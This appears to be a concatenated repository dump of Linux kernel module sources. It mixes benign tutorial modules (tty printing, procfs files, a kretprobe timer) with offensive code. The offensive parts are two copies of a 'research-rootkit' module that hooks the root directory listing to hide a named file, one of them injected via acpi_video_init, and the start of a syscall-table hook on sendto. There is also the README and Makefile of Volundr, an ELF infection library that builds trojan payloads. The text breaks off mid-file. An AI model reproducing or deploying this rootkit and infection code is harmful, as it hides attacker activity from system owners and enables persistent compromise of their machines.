| 97 | MODULE_LICENSE("GPL"); 98 | -------------------------------------------------------------------------------- /research-rootkit/codeinj/fshid/fshid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # include // filp_open, filp_close. 26 | # endif // CPP 27 | 28 | # include "../zeroevil/zeroevil.h" 29 | 30 | 31 | MODULE_LICENSE("GPL"); 32 | 33 | # define ROOT_PATH "/" 34 | # define SECRET_FILE "032416_525.mp4" 35 | 36 | int 37 | (*real_iterate)(struct file *filp, struct dir_context *ctx); 38 | int 39 | (*real_filldir)(struct dir_context *ctx, 40 | const char *name, int namlen, 41 | loff_t offset, u64 ino, unsigned d_type); 42 | 43 | int 44 | fake_iterate(struct file *filp, struct dir_context *ctx); 45 | int 46 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 47 | loff_t offset, u64 ino, unsigned d_type); 48 | 49 | extern int 50 | codeinj_init(void); 51 | extern void 52 | codeinj_exit(void); 53 | 54 | 55 | int 56 | fshid_init(void) 57 | { 58 | codeinj_init(); 59 | 60 | fm_alert("%s\n", "Greetings the World!"); 61 | 62 | set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate); 63 | 64 | if (!real_iterate) { 65 | return -ENOENT; 66 | } 67 | 68 | return 0; 69 | } 70 | 71 | 72 | void 73 | fshid_exit(void) 74 | { 75 | codeinj_exit(); 76 | 77 | if (real_iterate) { 78 | void *dummy; 79 | set_file_op(iterate, ROOT_PATH, real_iterate, dummy); 80 | } 81 | 82 | fm_alert("%s\n", "Farewell the World!"); 83 | return; 84 | } 85 | 86 | 87 | /* module_init(fshid_init); */ 88 | /* module_exit(fshid_exit); */ 89 | 90 | 91 | int 92 | fake_iterate(struct file *filp, struct dir_context *ctx) 93 | { 94 | real_filldir = ctx->actor; 95 | *(filldir_t *)&ctx->actor = fake_filldir; 96 | 97 | return real_iterate(filp, ctx); 98 | } 99 | 100 | 101 | int 102 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 103 | loff_t offset, u64 ino, unsigned d_type) 104 | { 105 | if (strcmp(name, SECRET_FILE) == 0) { 106 | fm_alert("Hiding: %s", name); 107 | return 0; 108 | } 109 | 110 | /* pr_cont("%s ", name); */ 111 | 112 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 113 | } 114 | -------------------------------------------------------------------------------- /research-rootkit/real/fshid/fshid.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | # include // filp_open, filp_close. 26 | # endif // CPP 27 | 28 | # include "../zeroevil/zeroevil.h" 29 | 30 | 31 | MODULE_LICENSE("GPL"); 32 | 33 | # define ROOT_PATH "/" 34 | # define SECRET_FILE "032416_525.mp4" 35 | 36 | int 37 | (*real_iterate)(struct file *filp, struct dir_context *ctx); 38 | int 39 | (*real_filldir)(struct dir_context *ctx, 40 | const char *name, int namlen, 41 | loff_t offset, u64 ino, unsigned d_type); 42 | 43 | int 44 | fake_iterate(struct file *filp, struct dir_context *ctx); 45 | int 46 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 47 | loff_t offset, u64 ino, unsigned d_type); 48 | 49 | extern __init int 50 | acpi_video_init(void); 51 | extern __exit void 52 | acpi_video_exit(void); 53 | 54 | 55 | __init int 56 | fshid_init(void) 57 | { 58 | acpi_video_init(); 59 | 60 | fm_alert("%s\n", "Greetings the World!"); 61 | 62 | set_file_op(iterate, ROOT_PATH, fake_iterate, real_iterate); 63 | 64 | if (!real_iterate) { 65 | return -ENOENT; 66 | } 67 | 68 | return 0; 69 | } 70 | 71 | 72 | __exit void 73 | fshid_exit(void) 74 | { 75 | acpi_video_exit(); 76 | 77 | if (real_iterate) { 78 | void *dummy; 79 | set_file_op(iterate, ROOT_PATH, real_iterate, dummy); 80 | } 81 | 82 | fm_alert("%s\n", "Farewell the World!"); 83 | return; 84 | } 85 | 86 | 87 | /* module_init(fshid_init); */ 88 | /* module_exit(fshid_exit); */ 89 | 90 | 91 | int 92 | fake_iterate(struct file *filp, struct dir_context *ctx) 93 | { 94 | real_filldir = ctx->actor; 95 | *(filldir_t *)&ctx->actor = fake_filldir; 96 | 97 | return real_iterate(filp, ctx); 98 | } 99 | 100 | 101 | int 102 | fake_filldir(struct dir_context *ctx, const char *name, int namlen, 103 | loff_t offset, u64 ino, unsigned d_type) 104 | { 105 | if (strcmp(name, SECRET_FILE) == 0) { 106 | fm_alert("Hiding: %s", name); 107 | return 0; 108 | } 109 | 110 | /* pr_cont("%s ", name); */ 111 | 112 | return real_filldir(ctx, name, namlen, offset, ino, d_type); 113 | } 114 | -------------------------------------------------------------------------------- /linux-kernel/print_string.c: -------------------------------------------------------------------------------- 1 | /* 2 | * print_string.c - Send output to the tty we're running on, regardless if 3 | * it is through X11, telnet, etc. We do this by printing the string to the 4 | * tty associated with the current task. 5 | */ 6 | #include 7 | #include 8 | #include 9 | #include /* For current */ 10 | #include /* For the tty declarations */ 11 | 12 | static void print_string(char *str) 13 | { 14 | /* The tty for the current task */ 15 | struct tty_struct *my_tty = get_current_tty(); 16 | 17 | /* If my_tty is NULL, the current task has no tty you can print to (i.e., 18 | * if it is a daemon). If so, there is nothing we can do. 19 | */ 20 | if (my_tty) { 21 | const struct tty_operations *ttyops = my_tty->driver->ops; 22 | /* my_tty->driver is a struct which holds the tty's functions, 23 | * one of which (write) is used to write strings to the tty. 24 | * It can be used to take a string either from the user's or 25 | * kernel's memory segment. 26 | * 27 | * The function's 1st parameter is the tty to write to, because the 28 | * same function would normally be used for all tty's of a certain 29 | * type. 30 | * The 2nd parameter is a pointer to a string. 31 | * The 3rd parameter is the length of the string. 32 | * 33 | * As you will see below, sometimes it's necessary to use 34 | * preprocessor stuff to create code that works for different 35 | * kernel versions. The (naive) approach we've taken here does not 36 | * scale well. The right way to deal with this is described in 37 | * section 2 of 38 | * linux/Documentation/SubmittingPatches 39 | */ 40 | (ttyops->write)(my_tty, /* The tty itself */ 41 | str, /* String */ 42 | strlen(str)); /* Length */ 43 | 44 | /* ttys were originally hardware devices, which (usually) strictly 45 | * followed the ASCII standard. In ASCII, to move to a new line you 46 | * need two characters, a carriage return and a line feed. On Unix, 47 | * the ASCII line feed is used for both purposes - so we can not 48 | * just use \n, because it would not have a carriage return and the 49 | * next line will start at the column right after the line feed. 50 | * 51 | * This is why text files are different between Unix and MS Windows. 52 | * In CP/M and derivatives, like MS-DOS and MS Windows, the ASCII 53 | * standard was strictly adhered to, and therefore a newline requires 54 | * both a LF and a CR. 55 | */ 56 | (ttyops->write)(my_tty, "\015\012", 2); 57 | } 58 | } 59 | 60 | static int __init print_string_init(void) 61 | { 62 | print_string("The module has been inserted. Hello world!"); 63 | return 0; 64 | } 65 | 66 | static void __exit print_string_exit(void) 67 | { 68 | print_string("The module has been removed. Farewell world!"); 69 | } 70 | 71 | module_init(print_string_init); 72 | module_exit(print_string_exit); 73 | 74 | MODULE_LICENSE("GPL"); 75 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/README.md: -------------------------------------------------------------------------------- 1 | [![Total alerts](https://img.shields.io/lgtm/alerts/g/carloslack/volundr.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/carloslack/volundr/alerts/) 2 | [![Language grade: C/C++](https://img.shields.io/lgtm/grade/cpp/g/carloslack/volundr.svg?logo=lgtm&logoWidth=18)](https://lgtm.com/projects/g/carloslack/volundr/context:cpp) 3 | 4 |

5 | Software License 6 |

7 | 8 | ## Volundr 9 | 10 | ### Yet just another ELF64 library that provides basic ELF parsing and some code injection features 11 | 12 | This is one of those small projects that I wanted to write long ago but never actually 13 | got into doing, so here it is. 14 | 15 | ELF parasite/infection etc.. is nothing new and you can find many similar ones 16 | (and some very ancient) out there but still this kind of tool is somehow fun to 17 | write, probably for this reason there are so many hanging around. 18 | 19 | This is currently a work in progress, and likely to be the case for a long time. 20 | 21 | Nevertheless... whatever :) 22 | 23 | ## Interfacing 24 | 25 | ### Parsing some data 26 | 27 | // m stores the permissions for file, e.g.: RW, RO... 28 | open_mode_t m; 29 | // mapped file data 30 | struct mapped_file map = {0}; 31 | // Open ELF binary file in read-only 32 | FILE *fp = file_open_ro(elf_filename, &m); 33 | 34 | // Optionally do some checks 35 | if(!elf_validate_filetype(fp)) { ... 36 | 37 | // Load target file to make 38 | // it ready for elf_parse_file() 39 | if (!file_load_target(&map, fp, m)) { ... 40 | 41 | // After this call the whole file is parsed 42 | // elfo is the main "handler" (object) 43 | elf_t *elfo = elf_parse_file(binfile, &map); 44 | 45 | // Retrieve Section Header data 46 | // Here we print the secton .text offset 47 | elf_word_t idx = elf_parse_shdr_idx_byname(elfo, ".text"); 48 | ... do some checks 49 | log_info("Section name .text is at offset %016llx\n", elfo->shdrs[idx]->sh_offset); 50 | 51 | For more details I wrote a bunch of actual examples, described below 52 | 53 | ### Example options 54 | 55 | There is a "run" script which is a bit handy (it even has crafted auto-completion!) 56 | 57 | $ source ./completion.sh 58 | $ ./run 59 | Use [[example] [-h]] 60 | examples: 61 | example-headers 62 | example-infect-text 63 | example-infect-note 64 | example-long 65 | example-sctidx 66 | 67 | Some of them: 68 | 69 | #### example-headers 70 | Will dump some Elf header to stdout 71 | 72 | #### example infect 73 | This is more fun! 74 | Currently we support: 75 | - LSB shared and EXEC infections for .text section padding 76 | - LSB shared and EXEC infections for SHT_NOTE/PT_NOTE injection (if trojan binary fits) 77 | 78 | See trojan examples et_exec_trojan.S and et_dyn_trojan.S 79 | 80 | #### example-long 81 | A more complete version of example-headers, will dump Elf headers in readelf-ish style. 82 | 83 | 84 | ![Screenshot](examples/elf.png) 85 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/common/utils.h: -------------------------------------------------------------------------------- 1 | #ifndef _UTILS_H 2 | #define _UTILS_H 3 | 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | 11 | #define FINFOUT 2 12 | #define MAXFOPEN 128 13 | 14 | #define ARG_MSG ("invalid argument") 15 | #define CON_MSG ("contract prerequisite not attended") 16 | 17 | #define ASSERT_RET(x,y,z) { \ 18 | if(!(x)) { \ 19 | log_error((y)); \ 20 | return z; \ 21 | } \ 22 | } 23 | 24 | #define ASSERT_(x,y,z) { \ 25 | if(!(x)) \ 26 | log_error((y)); \ 27 | } 28 | 29 | 30 | #define ASSERT_RET_NULL(x,y) ASSERT_RET(x,y,NULL) 31 | #define ASSERT_RET_FALSE(x,y) ASSERT_RET(x,y,false) 32 | #define ASSERT_RET_VAL(x,y,val) ASSERT_RET(x,y,val) 33 | #define ASSERT_NULL(x,y) ASSERT_(x,y,NULL) 34 | #define ASSERT_FALSE(x,y) ASSERT_(x,y,false) 35 | 36 | // argument asserts 37 | #define ASSERT_ARG_RET_NULL(x) ASSERT_RET_NULL(x,ARG_MSG) 38 | #define ASSERT_ARG_RET_FALSE(x) ASSERT_RET_FALSE(x,ARG_MSG) 39 | #define ASSERT_ARG_RET_VAL(x, val) ASSERT_RET_VAL(x,ARG_MSG, val) 40 | 41 | // contract asserts 42 | #define ASSERT_CON_RET_NULL(x) ASSERT_RET_NULL(x,CON_MSG) 43 | #define ASSERT_CON_RET_FALSE(x) ASSERT_RET_FALSE(x,CON_MSG) 44 | #define ASSERT_CON_RET_VAL(x, val) ASSERT_RET_VAL(x,CON_MSG, val) 45 | 46 | #define ASSERT_CON_NULL(x) ASSERT_NULL(x,CON_MSG) 47 | #define ASSERT_CON_FALSE(x) ASSERT_FALSE(x,CON_MSG) 48 | 49 | // smart (O'Rlly??) file opens 50 | typedef enum { F_RW = 1, F_RO, F_OW } open_mode_t; 51 | 52 | /**! XXX: Be careful, files will be created if they do not exist ! */ 53 | #define file_open_rw(x,y) (file_open(x, "a+", F_RW, y)) 54 | #define file_open_ro(x,y) (file_open(x, "rb", F_RO, y)) 55 | #define file_open_ow(x,y) (file_open(x, "w+", F_OW, y)) 56 | #define file_close(x) (fclose(x)) 57 | 58 | /** 59 | * @brief Holds some data about ELF raw file from the disk 60 | */ 61 | struct mapped_file{ 62 | struct stat st; /**< stat, currently only for file size */ 63 | void *mapaddr; /**< file from mmap() */ 64 | void *heap; /**< file from heap */ 65 | }; 66 | 67 | off_t file_size (FILE*); 68 | FILE *file_open (const char* filein, const char *, open_mode_t, open_mode_t *); 69 | bool file_load_target (struct mapped_file *, FILE *, open_mode_t); 70 | bool file_load_source (struct mapped_file *file_data, FILE *fp); 71 | bool file_sync_target (struct mapped_file *); 72 | FILE* open_output (const char *); // XXX rename to file_open_output? 73 | char* get_output_name (const char *, const char*); 74 | char* get_binary_name (const char*); 75 | 76 | void* smalloc (size_t); 77 | void* scalloc (size_t, size_t); 78 | void* srealloc (void *, size_t); 79 | void sfree (void**); 80 | 81 | char* sstrdup (const char*); 82 | 83 | void dump_buff (void *, uint32_t); 84 | void dump_buff_hex (void *, uint32_t); 85 | unsigned long hash_string(const unsigned char *); 86 | #endif 87 | -------------------------------------------------------------------------------- /linux-kernel/procfs3.c: -------------------------------------------------------------------------------- 1 | /* 2 | * procfs3.c 3 | */ 4 | 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 10, 0) 12 | #include 13 | #endif 14 | 15 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) 16 | #define HAVE_PROC_OPS 17 | #endif 18 | 19 | #define PROCFS_MAX_SIZE 2048UL 20 | #define PROCFS_ENTRY_FILENAME "buffer2k" 21 | 22 | static struct proc_dir_entry *our_proc_file; 23 | static char procfs_buffer[PROCFS_MAX_SIZE]; 24 | static unsigned long procfs_buffer_size = 0; 25 | 26 | static ssize_t procfs_read(struct file *filp, char __user *buffer, 27 | size_t length, loff_t *offset) 28 | { 29 | if (*offset || procfs_buffer_size == 0) { 30 | pr_debug("procfs_read: END\n"); 31 | *offset = 0; 32 | return 0; 33 | } 34 | procfs_buffer_size = min(procfs_buffer_size, length); 35 | if (copy_to_user(buffer, procfs_buffer, procfs_buffer_size)) 36 | return -EFAULT; 37 | *offset += procfs_buffer_size; 38 | 39 | pr_debug("procfs_read: read %lu bytes\n", procfs_buffer_size); 40 | return procfs_buffer_size; 41 | } 42 | static ssize_t procfs_write(struct file *file, const char __user *buffer, 43 | size_t len, loff_t *off) 44 | { 45 | procfs_buffer_size = min(PROCFS_MAX_SIZE, len); 46 | if (copy_from_user(procfs_buffer, buffer, procfs_buffer_size)) 47 | return -EFAULT; 48 | *off += procfs_buffer_size; 49 | 50 | pr_debug("procfs_write: write %lu bytes\n", procfs_buffer_size); 51 | return procfs_buffer_size; 52 | } 53 | static int procfs_open(struct inode *inode, struct file *file) 54 | { 55 | try_module_get(THIS_MODULE); 56 | return 0; 57 | } 58 | static int procfs_close(struct inode *inode, struct file *file) 59 | { 60 | module_put(THIS_MODULE); 61 | return 0; 62 | } 63 | 64 | #ifdef HAVE_PROC_OPS 65 | static struct proc_ops file_ops_4_our_proc_file = { 66 | .proc_read = procfs_read, 67 | .proc_write = procfs_write, 68 | .proc_open = procfs_open, 69 | .proc_release = procfs_close, 70 | }; 71 | #else 72 | static const struct file_operations file_ops_4_our_proc_file = { 73 | .read = procfs_read, 74 | .write = procfs_write, 75 | .open = procfs_open, 76 | .release = procfs_close, 77 | }; 78 | #endif 79 | 80 | static int __init procfs3_init(void) 81 | { 82 | our_proc_file = proc_create(PROCFS_ENTRY_FILENAME, 0644, NULL, 83 | &file_ops_4_our_proc_file); 84 | if (our_proc_file == NULL) { 85 | pr_debug("Error: Could not initialize /proc/%s\n", 86 | PROCFS_ENTRY_FILENAME); 87 | return -ENOMEM; 88 | } 89 | proc_set_size(our_proc_file, 80); 90 | proc_set_user(our_proc_file, GLOBAL_ROOT_UID, GLOBAL_ROOT_GID); 91 | 92 | pr_debug("/proc/%s created\n", PROCFS_ENTRY_FILENAME); 93 | return 0; 94 | } 95 | 96 | static void __exit procfs3_exit(void) 97 | { 98 | remove_proc_entry(PROCFS_ENTRY_FILENAME, NULL); 99 | pr_debug("/proc/%s removed\n", PROCFS_ENTRY_FILENAME); 100 | } 101 | 102 | module_init(procfs3_init); 103 | module_exit(procfs3_exit); 104 | 105 | MODULE_LICENSE("GPL"); 106 | -------------------------------------------------------------------------------- /linux-kernel/KoviD/volundr/volundr/Makefile: -------------------------------------------------------------------------------- 1 | # 2 | # MIT License 3 | # 4 | # Copyright (c) 2021 Carlos Carvalho 5 | # 6 | # Permission is hereby granted, free of charge, to any person obtaining a copy 7 | # of this software and associated documentation files (the "Software"), to deal 8 | # in the Software without restriction, including without limitation the rights 9 | # to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 10 | # copies of the Software, and to permit persons to whom the Software is 11 | # furnished to do so, subject to the following conditions: 12 | # 13 | # The above copyright notice and this permission notice shall be included in all 14 | # copies or substantial portions of the Software. 15 | # 16 | # THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 17 | # IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 18 | # FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 19 | # AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 20 | # LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 21 | # OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 22 | # SOFTWARE. 23 | # 24 | PROJ=volundr 25 | 26 | CC=$(shell which gcc) 27 | AS=$(shell which as) 28 | LD=$(shell which ld) 29 | OBJCOPY=$(shell which objcopy) 30 | CFLAGS=-O0 -g -ggdb -Wall -Werror -fPIC -I. -Icommon -Iasm -Ielf 31 | 32 | elf_SRCS=$(wildcard $(realpath elf)/*.c) 33 | asm_SRCS=$(wildcard $(realpath asm)/*.S) 34 | 35 | common_SRCS=$(wildcard $(realpath common)/*.c) 36 | EX=$(realpath ../examples/) 37 | 38 | elf_OBJS=$(elf_SRCS:.c=.o) 39 | common_OBJS=$(common_SRCS:.c=.o) 40 | asm_OBJS=$(asm_SRCS:.S=.o) 41 | 42 | et_exec=$(EX)/et_exec_trojan 43 | et_dyn=$(EX)/et_dyn_trojan 44 | 45 | tst = $(EX)/example-long $(EX)/example-headers \ 46 | $(EX)/example-infect-text $(EX)/example-infect-note $(EX)/example-sctidx 47 | sht_note = $(EX)/sht_note 48 | 49 | LIB=lib$(PROJ).so 50 | LIBDIR=$(realpath .) 51 | 52 | all: libs et_exec et_dyn sht_note 53 | for i in $(tst) ; do \ 54 | $(CC) $$i.c -L$(realpath .) -lvolundr -I $(LIBDIR)/elf \ 55 | -I $(LIBDIR)/common/ -I $(LIBDIR)/asm/ $(CFLAGS) -o $$i ; \ 56 | done 57 | 58 | libs: $(elf_OBJS) $(common_OBJS) 59 | $(AS) asm/syscalls.S -statistics -fatal-warnings -size-check=error -o asm/syscalls.o 60 | $(CC) -shared -o $(LIB) $(elf_OBJS) $(common_OBJS) asm/syscalls.o $(CFLAGS) 61 | 62 | et_exec: 63 | $(AS) --64 $(et_exec).S -statistics -fatal-warnings \ 64 | -size-check=error -o $(et_exec).o 65 | $(LD) -Ttext 200000 --oformat binary -o $(et_exec) $(et_exec).o 66 | 67 | et_dyn: 68 | $(AS) --64 $(et_dyn).S -statistics -fatal-warnings \ 69 | -size-check=error -o $(et_dyn).o 70 | $(LD) -Ttext 200000 --oformat binary -o $(et_dyn) $(et_dyn).o 71 | 72 | sht_note: 73 | # Create a 128b sht_note section in a shared lsb 74 | $(shell perl -e 'print"A"'x256 >$(EX)/note.txt) 75 | $(CC) $(sht_note).c -pie -fPIC -c -o $(sht_note).o 76 | $(OBJCOPY) --add-section .note.volundr=$(EX)/note.txt --set-section-flags \ 77 | .note.custom=noload $(sht_note).o $(sht_note).o 78 | $(CC) $(sht_note).o -pie -fPIC -o $(sht_note) 79 | 80 | 81 | docs: 82 | (cd $(realpath).. && doxygen doxygen.cfg) 83 | 84 | clean: 85 | rm -f $(PROJ) $(elf_OBJS) $(common_OBJS) asm/syscalls.o $(LIB) 86 | rm -f $(et_exec) $(et_dyn) $(et_exec).o $(et_dyn).o 87 | rm -f $(sht_note).o $(sht_note) $(EX)/note.txt 88 | for i in $(tst) ; do \ 89 | rm -f $$i ; \ 90 | done 91 | -------------------------------------------------------------------------------- /android-kernel/kretprobe_example.c: -------------------------------------------------------------------------------- 1 | /* 2 | * kretprobe_example.c 3 | * 4 | * Here's a sample kernel module showing the use of return probes to 5 | * report the return value and total time taken for probed function 6 | * to run. 7 | * 8 | * usage: insmod kretprobe_example.ko func= 9 | * 10 | * If no func_name is specified, _do_fork is instrumented 11 | * 12 | * For more information on theory of operation of kretprobes, see 13 | * Documentation/kprobes.txt 14 | * 15 | * Build and insert the kernel module as done in the kprobe example. 16 | * You will see the trace data in /var/log/messages and on the console 17 | * whenever the probed function returns. (Some messages may be suppressed 18 | * if syslogd is configured to eliminate duplicate messages.) 19 | */ 20 | 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | 28 | static char func_name[NAME_MAX] = "_do_fork"; 29 | module_param_string(func, func_name, NAME_MAX, S_IRUGO); 30 | MODULE_PARM_DESC(func, "Function to kretprobe; this module will report the" 31 | " function's execution time"); 32 | 33 | /* per-instance private data */ 34 | struct my_data { 35 | ktime_t entry_stamp; 36 | }; 37 | 38 | /* Here we use the entry_hanlder to timestamp function entry */ 39 | static int entry_handler(struct kretprobe_instance *ri, struct pt_regs *regs) 40 | { 41 | struct my_data *data; 42 | 43 | if (!current->mm) 44 | return 1; /* Skip kernel threads */ 45 | 46 | data = (struct my_data *)ri->data; 47 | data->entry_stamp = ktime_get(); 48 | return 0; 49 | } 50 | 51 | /* 52 | * Return-probe handler: Log the return value and duration. Duration may turn 53 | * out to be zero consistently, depending upon the granularity of time 54 | * accounting on the platform. 55 | */ 56 | static int ret_handler(struct kretprobe_instance *ri, struct pt_regs *regs) 57 | { 58 | int retval = regs_return_value(regs); 59 | struct my_data *data = (struct my_data *)ri->data; 60 | s64 delta; 61 | ktime_t now; 62 | 63 | now = ktime_get(); 64 | delta = ktime_to_ns(ktime_sub(now, data->entry_stamp)); 65 | printk(KERN_INFO "%s returned %d and took %lld ns to execute\n", 66 | func_name, retval, (long long)delta); 67 | return 0; 68 | } 69 | 70 | static struct kretprobe my_kretprobe = { 71 | .handler = ret_handler, 72 | .entry_handler = entry_handler, 73 | .data_size = sizeof(struct my_data), 74 | /* Probe up to 20 instances concurrently. */ 75 | .maxactive = 20, 76 | }; 77 | 78 | static int __init kretprobe_init(void) 79 | { 80 | int ret; 81 | 82 | my_kretprobe.kp.symbol_name = func_name; 83 | ret = register_kretprobe(&my_kretprobe); 84 | if (ret < 0) { 85 | printk(KERN_INFO "register_kretprobe failed, returned %d\n", 86 | ret); 87 | return -1; 88 | } 89 | printk(KERN_INFO "Planted return probe at %s: %p\n", 90 | my_kretprobe.kp.symbol_name, my_kretprobe.kp.addr); 91 | return 0; 92 | } 93 | 94 | static void __exit kretprobe_exit(void) 95 | { 96 | unregister_kretprobe(&my_kretprobe); 97 | printk(KERN_INFO "kretprobe at %p unregistered\n", 98 | my_kretprobe.kp.addr); 99 | 100 | /* nmissed > 0 suggests that maxactive was set too low. */ 101 | printk(KERN_INFO "Missed probing %d instances of %s\n", 102 | my_kretprobe.nmissed, my_kretprobe.kp.symbol_name); 103 | } 104 | 105 | module_init(kretprobe_init) 106 | module_exit(kretprobe_exit) 107 | MODULE_LICENSE("GPL"); 108 | -------------------------------------------------------------------------------- /linux-kernel/procfs4.c: -------------------------------------------------------------------------------- 1 | /* 2 | * procfs4.c - create a "file" in /proc 3 | * This program uses the seq_file library to manage the /proc file. 4 | */ 5 | 6 | #include /* We are doing kernel work */ 7 | #include /* Specifically, a module */ 8 | #include /* Necessary because we use proc fs */ 9 | #include /* for seq_file */ 10 | #include 11 | 12 | #if LINUX_VERSION_CODE >= KERNEL_VERSION(5, 6, 0) 13 | #define HAVE_PROC_OPS 14 | #endif 15 | 16 | #define PROC_NAME "iter" 17 | 18 | /* This function is called at the beginning of a sequence. 19 | * ie, when: 20 | * - the /proc file is read (first time) 21 | * - after the function stop (end of sequence) 22 | */ 23 | static void *my_seq_start(struct seq_file *s, loff_t *pos) 24 | { 25 | static unsigned long counter = 0; 26 | 27 | /* beginning a new sequence? */ 28 | if (*pos == 0) { 29 | /* yes => return a non null value to begin the sequence */ 30 | return &counter; 31 | } 32 | 33 | /* no => it is the end of the sequence, return end to stop reading */ 34 | *pos = 0; 35 | return NULL; 36 | } 37 | 38 | /* This function is called after the beginning of a sequence. 39 | * It is called untill the return is NULL (this ends the sequence). 40 | */ 41 | static void *my_seq_next(struct seq_file *s, void *v, loff_t *pos) 42 | { 43 | unsigned long *tmp_v = (unsigned long *)v; 44 | (*tmp_v)++; 45 | (*pos)++; 46 | return NULL; 47 | } 48 | 49 | /* This function is called at the end of a sequence. */ 50 | static void my_seq_stop(struct seq_file *s, void *v) 51 | { 52 | /* nothing to do, we use a static value in start() */ 53 | } 54 | 55 | /* This function is called for each "step" of a sequence. */ 56 | static int my_seq_show(struct seq_file *s, void *v) 57 | { 58 | loff_t *spos = (loff_t *)v; 59 | 60 | seq_printf(s, "%Ld\n", *spos); 61 | return 0; 62 | } 63 | 64 | /* This structure gather "function" to manage the sequence */ 65 | static struct seq_operations my_seq_ops = { 66 | .start = my_seq_start, 67 | .next = my_seq_next, 68 | .stop = my_seq_stop, 69 | .show = my_seq_show, 70 | }; 71 | 72 | /* This function is called when the /proc file is open. */ 73 | static int my_open(struct inode *inode, struct file *file) 74 | { 75 | return seq_open(file, &my_seq_ops); 76 | }; 77 | 78 | /* This structure gather "function" that manage the /proc file */ 79 | #ifdef HAVE_PROC_OPS 80 | static const struct proc_ops my_file_ops = { 81 | .proc_open = my_open, 82 | .proc_read = seq_read, 83 | .proc_lseek = seq_lseek, 84 | .proc_release = seq_release, 85 | }; 86 | #else 87 | static const struct file_operations my_file_ops = { 88 | .open = my_open, 89 | .read = seq_read, 90 | .llseek = seq_lseek, 91 | .release = seq_release, 92 | }; 93 | #endif 94 | 95 | static int __init procfs4_init(void) 96 | { 97 | struct proc_dir_entry *entry; 98 | 99 | entry = proc_create(PROC_NAME, 0, NULL, &my_file_ops); 100 | if (entry == NULL) { 101 | pr_debug("Error: Could not initialize /proc/%s\n", PROC_NAME); 102 | return -ENOMEM; 103 | } 104 | 105 | return 0; 106 | } 107 | 108 | static void __exit procfs4_exit(void) 109 | { 110 | remove_proc_entry(PROC_NAME, NULL); 111 | pr_debug("/proc/%s removed\n", PROC_NAME); 112 | } 113 | 114 | module_init(procfs4_init); 115 | module_exit(procfs4_exit); 116 | 117 | MODULE_LICENSE("GPL"); 118 | -------------------------------------------------------------------------------- /research-rootkit/ifmon/ifmon.c: -------------------------------------------------------------------------------- 1 | // Copyright 2016 Gu Zhengxiong 2 | // 3 | // This file is part of LibZeroEvil. 4 | // 5 | // LibZeroEvil is free software: 6 | // you can redistribute it and/or modify it 7 | // under the terms of the GNU General Public License 8 | // as published by the Free Software Foundation, 9 | // either version 3 of the License, 10 | // or (at your option) any later version. 11 | // 12 | // LibZeroEvil is distributed in the hope that it will be useful, 13 | // but WITHOUT ANY WARRANTY; without even the implied warranty of 14 | // MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the 15 | // GNU General Public License for more details. 16 | // 17 | // You should have received a copy of the GNU General Public License 18 | // along with LibZeroEvil. 19 | // If not, see . 20 | 21 | 22 | # ifndef CPP 23 | # include 24 | # include 25 | // proc_create, proc_remove. 26 | # include 27 | // __NR_syscall_max. 28 | # include 29 | # include 30 | // struct sockaddr. 31 | # include 32 | // kmalloc, kfree. 33 | # include 34 | # include 35 | # endif // CPP 36 | 37 | # include "../zeroevil/zeroevil.h" 38 | 39 | 40 | MODULE_LICENSE("GPL"); 41 | 42 | phys_addr_t real_phys; 43 | 44 | unsigned long *fake_sct[__NR_syscall_max + 1] = { 0 }; 45 | 46 | asmlinkage long 47 | fake_sendto(int fd, void __user *buff, size_t len, unsigned flags, 48 | struct sockaddr __user *addr, int addr_len); 49 | asmlinkage long 50 | (*real_sendto)(int fd, void __user *buff, size_t len, unsigned flags, 51 | struct sockaddr __user *addr, int addr_len); 52 